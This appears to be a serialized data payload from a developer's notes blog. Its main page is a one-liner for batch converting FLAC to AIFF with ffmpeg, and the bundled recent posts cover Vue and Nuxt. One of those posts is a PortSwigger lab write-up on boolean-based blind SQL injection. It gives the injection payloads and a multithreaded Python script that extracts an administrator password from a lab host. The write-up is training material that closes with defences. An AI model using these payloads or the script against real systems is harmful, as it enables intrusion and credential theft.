[{"data":1,"prerenderedAt":1300},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg":3,"recent-en":156,"posts-en-devops":1214},{"id":4,"title":5,"author":6,"body":7,"date":140,"description":141,"extension":142,"image":143,"meta":144,"navigation":145,"path":146,"seo":147,"sitemap":148,"stem":149,"tags":150,"__hash__":155},"content_en\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Batch converting FLAC to AIFF using ffmpeg","Oleg Anuchin",{"type":8,"value":9,"toc":137},"minimark",[10,14,18,44,55,133],[11,12,5],"h1",{"id":13},"batch-converting-flac-to-aiff-using-ffmpeg",[15,16,17],"p",{},"You need ffmpeg to be installed. For macOS:",[19,20,25],"pre",{"className":21,"code":22,"language":23,"meta":24,"style":24},"language-bash shiki shiki-themes github-light github-dark","brew install ffmpeg\n","bash","",[26,27,28],"code",{"__ignoreMap":24},[29,30,33,37,41],"span",{"class":31,"line":32},"line",1,[29,34,36],{"class":35},"sScJk","brew",[29,38,40],{"class":39},"sZZnC"," install",[29,42,43],{"class":39}," ffmpeg\n",[15,45,46,47,50,51,54],{},"This command will convert all ",[26,48,49],{},"*.flac"," files to ",[26,52,53],{},"*.aiff",":",[19,56,58],{"className":21,"code":57,"language":23,"meta":24,"style":24},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[26,59,60],{"__ignoreMap":24},[29,61,62,66,70,73,76,79,82,85,89,92,95,98,101,104,107,110,113,116,119,122,125,128,130],{"class":31,"line":32},[29,63,65],{"class":64},"szBVR","for",[29,67,69],{"class":68},"sVt8B"," i ",[29,71,72],{"class":64},"in",[29,74,75],{"class":39}," *.flac",[29,77,78],{"class":68},"; ",[29,80,81],{"class":64},"do",[29,83,84],{"class":35}," ffmpeg",[29,86,88],{"class":87},"sj4cs"," -i",[29,90,91],{"class":39}," \"",[29,93,94],{"class":68},"$i",[29,96,97],{"class":39},"\"",[29,99,100],{"class":87}," -write_id3v2",[29,102,103],{"class":87}," 1",[29,105,106],{"class":87}," -c:v",[29,108,109],{"class":39}," copy",[29,111,112],{"class":39}," \"${",[29,114,115],{"class":68},"i",[29,117,118],{"class":64},"%",[29,120,121],{"class":39},".",[29,123,124],{"class":64},"*",[29,126,127],{"class":39},"}.aiff\"",[29,129,78],{"class":68},[29,131,132],{"class":64},"done\n",[134,135,136],"style",{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":24,"searchDepth":138,"depth":138,"links":139},2,[],"2022-08-10","One-liner to convert all FLAC files to AIFF format using ffmpeg on macOS","md",null,{},true,"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":5,"description":141},{"loc":146},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[151,152,153,154],"ffmpeg","audio","cli","macos","TAUWGNDcayHB2yDba8Sq8DH-TcIpYitPjo-XPI7ple0",[157,786,1081,1129],{"id":158,"title":159,"author":160,"body":161,"date":773,"description":774,"extension":142,"image":143,"meta":775,"navigation":145,"path":776,"seo":777,"sitemap":778,"stem":779,"tags":780,"__hash__":785},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)","apsyleg",{"type":8,"value":162,"toc":762},[163,167,172,179,198,202,228,232,239,242,250,257,260,295,298,302,307,314,323,333,337,343,358,361,365,372,713,719,730,734,737,742,759],[11,164,166],{"id":165},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional Responses",[168,169,171],"h2",{"id":170},"vulnerability","Vulnerability",[15,173,174,178],{},[175,176,177],"strong",{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[15,180,181,182,185,186,189,190,193,194,197],{},"In this variant (",[175,183,184],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[26,187,188],{},"TRUE"," or ",[26,191,192],{},"FALSE",". By crafting conditions like ",[26,195,196],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[168,199,201],{"id":200},"lab","Lab",[15,203,204,207,208,215,218,221,222,224,227],{},[175,205,206],{},"Name:"," ",[209,210,214],"a",{"href":211,"rel":212},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[213],"nofollow","Blind SQL injection with conditional responses",[216,217],"br",{},[175,219,220],{},"Difficulty:"," Practitioner",[216,223],{},[175,225,226],{},"Goal:"," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[168,229,231],{"id":230},"reconnaissance","Reconnaissance",[15,233,234,235,238],{},"The application stores a ",[26,236,237],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[15,240,241],{},"First, we confirm the injection point by appending a quote:",[19,243,248],{"className":244,"code":246,"language":247},[245],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[26,249,246],{"__ignoreMap":24},[15,251,252,253,256],{},"The \"Welcome back!\" message still appears — the comment ",[26,254,255],{},"--"," neutralizes the rest of the original query, so the injection is active.",[15,258,259],{},"Next, we verify boolean behavior:",[19,261,265],{"className":262,"code":263,"language":264,"meta":24,"style":24},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[26,266,267,272,277,283,289],{"__ignoreMap":24},[29,268,269],{"class":31,"line":32},[29,270,271],{},"-- TRUE condition → \"Welcome back!\" appears\n",[29,273,274],{"class":31,"line":138},[29,275,276],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[29,278,280],{"class":31,"line":279},3,[29,281,282],{"emptyLinePlaceholder":145},"\n",[29,284,286],{"class":31,"line":285},4,[29,287,288],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[29,290,292],{"class":31,"line":291},5,[29,293,294],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,296,297],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[168,299,301],{"id":300},"exploitation","Exploitation",[303,304,306],"h3",{"id":305},"step-1-determine-password-length","Step 1 — Determine password length",[15,308,309,310,313],{},"We use ",[26,311,312],{},"LENGTH()"," to find how many characters the administrator's password has:",[19,315,317],{"className":262,"code":316,"language":264,"meta":24,"style":24},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[26,318,319],{"__ignoreMap":24},[29,320,321],{"class":31,"line":32},[29,322,316],{},[15,324,325,326,329,330,121],{},"\"Welcome back!\" appears at ",[26,327,328],{},"= 20"," — the password is ",[175,331,332],{},"20 characters long",[303,334,336],{"id":335},"step-2-extract-characters","Step 2 — Extract characters",[15,338,309,339,342],{},[26,340,341],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[19,344,346],{"className":262,"code":345,"language":264,"meta":24,"style":24},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[26,347,348,353],{"__ignoreMap":24},[29,349,350],{"class":31,"line":32},[29,351,352],{},"-- Is the 1st character 'w'?\n",[29,354,355],{"class":31,"line":138},[29,356,357],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,359,360],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[303,362,364],{"id":363},"step-3-automate-with-python","Step 3 — Automate with Python",[15,366,367,368,371],{},"The script uses ",[26,369,370],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[19,373,377],{"className":374,"code":375,"language":376,"meta":24,"style":24},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[26,378,379,384,389,394,398,403,409,415,421,426,432,438,444,449,454,460,466,472,478,484,489,494,500,506,512,518,524,530,536,542,547,552,558,564,570,575,581,587,592,597,603,609,615,621,627,633,639,645,651,657,662,667,673,679,685,691,696,701,707],{"__ignoreMap":24},[29,380,381],{"class":31,"line":32},[29,382,383],{},"import requests\n",[29,385,386],{"class":31,"line":138},[29,387,388],{},"import string\n",[29,390,391],{"class":31,"line":279},[29,392,393],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[29,395,396],{"class":31,"line":285},[29,397,282],{"emptyLinePlaceholder":145},[29,399,400],{"class":31,"line":291},[29,401,402],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[29,404,406],{"class":31,"line":405},6,[29,407,408],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[29,410,412],{"class":31,"line":411},7,[29,413,414],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[29,416,418],{"class":31,"line":417},8,[29,419,420],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[29,422,424],{"class":31,"line":423},9,[29,425,282],{"emptyLinePlaceholder":145},[29,427,429],{"class":31,"line":428},10,[29,430,431],{},"CHARSET = string.ascii_lowercase + string.digits\n",[29,433,435],{"class":31,"line":434},11,[29,436,437],{},"MAX_LENGTH = 30\n",[29,439,441],{"class":31,"line":440},12,[29,442,443],{},"THREADS = 10\n",[29,445,447],{"class":31,"line":446},13,[29,448,282],{"emptyLinePlaceholder":145},[29,450,452],{"class":31,"line":451},14,[29,453,282],{"emptyLinePlaceholder":145},[29,455,457],{"class":31,"line":456},15,[29,458,459],{},"def check(sql_condition: str) -> bool:\n",[29,461,463],{"class":31,"line":462},16,[29,464,465],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[29,467,469],{"class":31,"line":468},17,[29,470,471],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[29,473,475],{"class":31,"line":474},18,[29,476,477],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[29,479,481],{"class":31,"line":480},19,[29,482,483],{},"    return \"Welcome back\" in r.text\n",[29,485,487],{"class":31,"line":486},20,[29,488,282],{"emptyLinePlaceholder":145},[29,490,492],{"class":31,"line":491},21,[29,493,282],{"emptyLinePlaceholder":145},[29,495,497],{"class":31,"line":496},22,[29,498,499],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[29,501,503],{"class":31,"line":502},23,[29,504,505],{},"    print(\"[*] Determining password length...\")\n",[29,507,509],{"class":31,"line":508},24,[29,510,511],{},"    for n in range(1, max_len + 1):\n",[29,513,515],{"class":31,"line":514},25,[29,516,517],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[29,519,521],{"class":31,"line":520},26,[29,522,523],{},"        if check(condition):\n",[29,525,527],{"class":31,"line":526},27,[29,528,529],{},"            print(f\"[+] Password length: {n}\")\n",[29,531,533],{"class":31,"line":532},28,[29,534,535],{},"            return n\n",[29,537,539],{"class":31,"line":538},29,[29,540,541],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[29,543,545],{"class":31,"line":544},30,[29,546,282],{"emptyLinePlaceholder":145},[29,548,550],{"class":31,"line":549},31,[29,551,282],{"emptyLinePlaceholder":145},[29,553,555],{"class":31,"line":554},32,[29,556,557],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[29,559,561],{"class":31,"line":560},33,[29,562,563],{},"    for c in CHARSET:\n",[29,565,567],{"class":31,"line":566},34,[29,568,569],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[29,571,573],{"class":31,"line":572},35,[29,574,523],{},[29,576,578],{"class":31,"line":577},36,[29,579,580],{},"            return pos, c\n",[29,582,584],{"class":31,"line":583},37,[29,585,586],{},"    return pos, \"?\"\n",[29,588,590],{"class":31,"line":589},38,[29,591,282],{"emptyLinePlaceholder":145},[29,593,595],{"class":31,"line":594},39,[29,596,282],{"emptyLinePlaceholder":145},[29,598,600],{"class":31,"line":599},40,[29,601,602],{},"def get_password(length: int) -> str:\n",[29,604,606],{"class":31,"line":605},41,[29,607,608],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[29,610,612],{"class":31,"line":611},42,[29,613,614],{},"    password = [\"?\"] * length\n",[29,616,618],{"class":31,"line":617},43,[29,619,620],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[29,622,624],{"class":31,"line":623},44,[29,625,626],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[29,628,630],{"class":31,"line":629},45,[29,631,632],{},"        for future in as_completed(futures):\n",[29,634,636],{"class":31,"line":635},46,[29,637,638],{},"            pos, char = future.result()\n",[29,640,642],{"class":31,"line":641},47,[29,643,644],{},"            password[pos - 1] = char\n",[29,646,648],{"class":31,"line":647},48,[29,649,650],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[29,652,654],{"class":31,"line":653},49,[29,655,656],{},"    return \"\".join(password)\n",[29,658,660],{"class":31,"line":659},50,[29,661,282],{"emptyLinePlaceholder":145},[29,663,665],{"class":31,"line":664},51,[29,666,282],{"emptyLinePlaceholder":145},[29,668,670],{"class":31,"line":669},52,[29,671,672],{},"def main():\n",[29,674,676],{"class":31,"line":675},53,[29,677,678],{},"    length = get_password_length()\n",[29,680,682],{"class":31,"line":681},54,[29,683,684],{},"    password = get_password(length)\n",[29,686,688],{"class":31,"line":687},55,[29,689,690],{},"    print(f\"\\n[+] Password: {password}\")\n",[29,692,694],{"class":31,"line":693},56,[29,695,282],{"emptyLinePlaceholder":145},[29,697,699],{"class":31,"line":698},57,[29,700,282],{"emptyLinePlaceholder":145},[29,702,704],{"class":31,"line":703},58,[29,705,706],{},"if __name__ == \"__main__\":\n",[29,708,710],{"class":31,"line":709},59,[29,711,712],{},"    main()\n",[15,714,715,716],{},"Result: ",[26,717,718],{},"wfa3n32o7a6mb4xon7d6",[15,720,721,722,725,726,729],{},"Log in to ",[26,723,724],{},"\u002Fmy-account"," as ",[26,727,728],{},"administrator"," with this password — lab solved.",[168,731,733],{"id":732},"conclusion","Conclusion",[15,735,736],{},"Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present \u002F absent) is enough to extract the entire database.",[15,738,739],{},[175,740,741],{},"How to defend:",[743,744,745,749,752],"ul",{},[746,747,748],"li",{},"Use parameterized queries (prepared statements) — they eliminate injection entirely",[746,750,751],{},"Never concatenate user input directly into SQL strings",[746,753,754,755,758],{},"Apply least privilege to database accounts — the web app user should not have access to the ",[26,756,757],{},"users"," table",[134,760,761],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":24,"searchDepth":138,"depth":138,"links":763},[764,765,766,767,772],{"id":170,"depth":138,"text":171},{"id":200,"depth":138,"text":201},{"id":230,"depth":138,"text":231},{"id":300,"depth":138,"text":301,"children":768},[769,770,771],{"id":305,"depth":279,"text":306},{"id":335,"depth":279,"text":336},{"id":363,"depth":279,"text":364},{"id":732,"depth":138,"text":733},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":159,"description":774},{"loc":776},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[781,782,783,784],"portswigger","sql-injection","blind-sqli","web-security","xjqLMT0ON2Iphb3NwOgTkgmjGcHATsLRPcyMBeD0IF4",{"id":787,"title":788,"author":6,"body":789,"date":1070,"description":1071,"extension":142,"image":143,"meta":1072,"navigation":145,"path":1073,"seo":1074,"sitemap":1075,"stem":1076,"tags":1077,"__hash__":1080},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()",{"type":8,"value":790,"toc":1068},[791,794,804,815,1065],[11,792,788],{"id":793},"creating-component-state-like-options-api-using-reactive",[15,795,796,797,800,801,121],{},"In Options API we can use ",[26,798,799],{},"data()"," function to create a state for the component, then access it directly via ",[26,802,803],{},"this",[15,805,806,807,810,811,814],{},"Using ",[26,808,809],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[26,812,813],{},"ref()"," for multiple state properties.",[19,816,820],{"className":817,"code":818,"language":819,"meta":24,"style":24},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[26,821,822,834,848,852,863,871,888,899,907,912,916,936,949,953,957,964,975,980,985,990,995,1004,1008,1017,1031,1044,1057],{"__ignoreMap":24},[29,823,824,827,831],{"class":31,"line":32},[29,825,826],{"class":68},"\u003C",[29,828,830],{"class":829},"s9eBZ","script",[29,832,833],{"class":68},">\n",[29,835,836,839,842,845],{"class":31,"line":138},[29,837,838],{"class":64},"import",[29,840,841],{"class":68}," { computed, reactive, toRefs } ",[29,843,844],{"class":64},"from",[29,846,847],{"class":39}," 'vue'\n",[29,849,850],{"class":31,"line":279},[29,851,282],{"emptyLinePlaceholder":145},[29,853,854,857,860],{"class":31,"line":285},[29,855,856],{"class":64},"export",[29,858,859],{"class":64}," default",[29,861,862],{"class":68}," {\n",[29,864,865,868],{"class":31,"line":291},[29,866,867],{"class":35},"  setup",[29,869,870],{"class":68},"() {\n",[29,872,873,876,879,882,885],{"class":31,"line":405},[29,874,875],{"class":64},"    const",[29,877,878],{"class":87}," state",[29,880,881],{"class":64}," =",[29,883,884],{"class":35}," reactive",[29,886,887],{"class":68},"({\n",[29,889,890,893,896],{"class":31,"line":411},[29,891,892],{"class":68},"      price: ",[29,894,895],{"class":87},"2",[29,897,898],{"class":68},",\n",[29,900,901,904],{"class":31,"line":417},[29,902,903],{"class":68},"      quantity: ",[29,905,906],{"class":87},"5\n",[29,908,909],{"class":31,"line":423},[29,910,911],{"class":68},"    })\n",[29,913,914],{"class":31,"line":428},[29,915,282],{"emptyLinePlaceholder":145},[29,917,918,920,923,925,928,931,934],{"class":31,"line":434},[29,919,875],{"class":64},[29,921,922],{"class":87}," total",[29,924,881],{"class":64},[29,926,927],{"class":35}," computed",[29,929,930],{"class":68},"(() ",[29,932,933],{"class":64},"=>",[29,935,862],{"class":68},[29,937,938,941,944,946],{"class":31,"line":440},[29,939,940],{"class":64},"      return",[29,942,943],{"class":68}," state.price ",[29,945,124],{"class":64},[29,947,948],{"class":68}," state.quantity\n",[29,950,951],{"class":31,"line":446},[29,952,911],{"class":68},[29,954,955],{"class":31,"line":451},[29,956,282],{"emptyLinePlaceholder":145},[29,958,959,962],{"class":31,"line":456},[29,960,961],{"class":64},"    return",[29,963,862],{"class":68},[29,965,966,969,972],{"class":31,"line":462},[29,967,968],{"class":64},"      ...",[29,970,971],{"class":35},"toRefs",[29,973,974],{"class":68},"(state),\n",[29,976,977],{"class":31,"line":468},[29,978,979],{"class":68},"      total\n",[29,981,982],{"class":31,"line":474},[29,983,984],{"class":68},"    }\n",[29,986,987],{"class":31,"line":480},[29,988,989],{"class":68},"  }\n",[29,991,992],{"class":31,"line":486},[29,993,994],{"class":68},"}\n",[29,996,997,1000,1002],{"class":31,"line":491},[29,998,999],{"class":68},"\u003C\u002F",[29,1001,830],{"class":829},[29,1003,833],{"class":68},[29,1005,1006],{"class":31,"line":496},[29,1007,282],{"emptyLinePlaceholder":145},[29,1009,1010,1012,1015],{"class":31,"line":502},[29,1011,826],{"class":68},[29,1013,1014],{"class":829},"template",[29,1016,833],{"class":68},[29,1018,1019,1022,1024,1027,1029],{"class":31,"line":508},[29,1020,1021],{"class":68},"  \u003C",[29,1023,15],{"class":829},[29,1025,1026],{"class":68},">Price: {{ price }}\u003C\u002F",[29,1028,15],{"class":829},[29,1030,833],{"class":68},[29,1032,1033,1035,1037,1040,1042],{"class":31,"line":514},[29,1034,1021],{"class":68},[29,1036,15],{"class":829},[29,1038,1039],{"class":68},">Quantity: {{ quantity }}\u003C\u002F",[29,1041,15],{"class":829},[29,1043,833],{"class":68},[29,1045,1046,1048,1050,1053,1055],{"class":31,"line":520},[29,1047,1021],{"class":68},[29,1049,15],{"class":829},[29,1051,1052],{"class":68},">Total: {{ total }}\u003C\u002F",[29,1054,15],{"class":829},[29,1056,833],{"class":68},[29,1058,1059,1061,1063],{"class":31,"line":526},[29,1060,999],{"class":68},[29,1062,1014],{"class":829},[29,1064,833],{"class":68},[134,1066,1067],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":24,"searchDepth":138,"depth":138,"links":1069},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":788,"description":1071},{"loc":1073},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[819,1078,1079],"composition-api","reactive","96O7U6Y83TlYNqqAf521cyGpqClhv0qB2l1dmJtT0pw",{"id":1082,"title":1083,"author":6,"body":1084,"date":1119,"description":1120,"extension":142,"image":143,"meta":1121,"navigation":145,"path":1122,"seo":1123,"sitemap":1124,"stem":1125,"tags":1126,"__hash__":1128},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project",{"type":8,"value":1085,"toc":1117},[1086,1089,1105,1108,1114],[11,1087,1083],{"id":1088},"how-to-upgrade-nuxt-3-project",[19,1090,1092],{"className":21,"code":1091,"language":23,"meta":24,"style":24},"yarn nuxi upgrade\n",[26,1093,1094],{"__ignoreMap":24},[29,1095,1096,1099,1102],{"class":31,"line":32},[29,1097,1098],{"class":35},"yarn",[29,1100,1101],{"class":39}," nuxi",[29,1103,1104],{"class":39}," upgrade\n",[15,1106,1107],{},"Example output:",[19,1109,1112],{"className":1110,"code":1111,"language":247},[245],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[26,1113,1111],{"__ignoreMap":24},[134,1115,1116],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":24,"searchDepth":138,"depth":138,"links":1118},[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest 